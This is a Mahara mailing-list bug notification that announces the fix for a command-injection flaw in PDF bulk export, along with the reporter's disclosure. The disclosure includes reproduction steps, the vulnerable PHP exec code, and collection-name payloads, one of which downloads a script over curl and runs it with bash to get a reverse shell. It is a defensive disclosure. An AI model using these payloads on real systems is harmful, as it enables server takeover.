Reviewed: https://reviews.mahara.org/12126 Committed: https://git.mahara.org/mahara/mahara/commit/ff1a3446f5c2a4c0ca35a0f1470d9483d028efdd Submitter: Robert Lyon ([email protected]) Branch: main
commit ff1a3446f5c2a4c0ca35a0f1470d9483d028efdd Author: Robert Lyon <[email protected]> Date: Thu Sep 23 09:48:23 2021 +1200 Security bug 1942903: PDF export can cause command injection vulnerability When a person names a collection in a certain way the title can be executed when merging the PDF pages into one collection PDF Change-Id: Iccca05291d79fe634b40cca11dcc9153a412ab86 Signed-off-by: Robert Lyon <[email protected]> -- You received this bug notification because you are a member of Mahara Contributors, which is subscribed to Mahara. Matching subscriptions: mahara-contributors https://bugs.launchpad.net/bugs/1942903 Title: Command injection vulnerability when PDF bulk export is enabled Status in Mahara: Fix Released Status in Mahara 20.04 series: Fix Released Status in Mahara 20.10 series: Fix Released Status in Mahara 21.04 series: Fix Released Bug description: Hi team, I hope you're doing well! When the experimental PDF export feature is enabled, a user can craft a malicious collection in Mahara and trigger the command injection issue when an admin exports the attacker's data (either specifically or by exporting the institution the attacker belongs to). This was tested yesterday (2021-09-06) using the docker-compose file in the master branch of https://git.mahara.org/mahara/mahara/-/tree/master/docker ## Steps To Reproduce: URLs will be using `http://localhost:6142/mahara/` as that's my local instance's URL. Modify the base URL to fit your environment. ### Setup 1. Login as administrator 2. Go to the Plugin Administration page `http://localhost:6142/mahara/admin/extensions/plugins.php` and enable PDF at the bottom right of the page (installing some prerequisites on the server might be necessary, the plugins page should have instructions) ### Exploitation 1. As the attacker (normal user account), create a collection named `;sleep${IFS}100;` 2. As the administrator go to the bulk export page `http://localhost:6142/mahara/admin/users/bulkexport.php` 3. Choose `PDF files of pages and collections` as the export format 4. Set the attacker's username in `Usernames to export` 5. Click `Export Accounts` and observe the 100 seconds delay in processing See the following section for a reverse shell example ## Details The issue comes from https://git.mahara.org/mahara/mahara/-/blob/master/htdocs/export/pdf/lib.php#L298 ```php $collectionname = $this->collections[$collectionid]->get('name'); $collectionname = parent::text_to_filename($collectionname); if ($combiner == 'pdfunite') { exec('pdfunite ' . implode(' ', $collection) . ' ' . $pdfdirectory . '/' . $collectionid . '_' . $collectionname . '.pdf', $output); } ``` `$collectionname` is user controlled and the sanitization allows just enough characters to be able to inject commands https://git.mahara.org/mahara/mahara/-/blob/master/htdocs/export/html/lib.php#L372-L375 ```php public static function text_to_filename($text) { // truncates the text and replaces NOT allowed characters to hyphens return preg_replace('#["()*/:<>?\\| ]+#', '-', mb_substr($text, 0, parent::MAX_FILENAME_LENGTH, 'utf-8')); } ``` In the attached video the malicious collection name is ```bash ;cd$IFS`mktemp$IFS-d`;curl${IFS}192.168.1.75$IFS-o${IFS}a.sh;bash${IFS}a.sh; ``` and it triggered a reverse shell, see attached video. Note that I had to install curl on my server to make it work, but that's likely to be present on a real system. Suggested CVSS: AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H 8.0 `AC:H` because of the setting that's likely to be disabled, `PR:L` because the payload is injected as a regular user, `UI:R` as it's triggered by an admin export, `S:C` as it impact everything on the server once a reverse shell is obtained. Let me know if you need anything else! Dominic To manage notifications about this bug go to: https://bugs.launchpad.net/mahara/+bug/1942903/+subscriptions _______________________________________________ Mailing list: https://launchpad.net/~mahara-contributors Post to : [email protected] Unsubscribe : https://launchpad.net/~mahara-contributors More help : https://help.launchpad.net/ListHelp
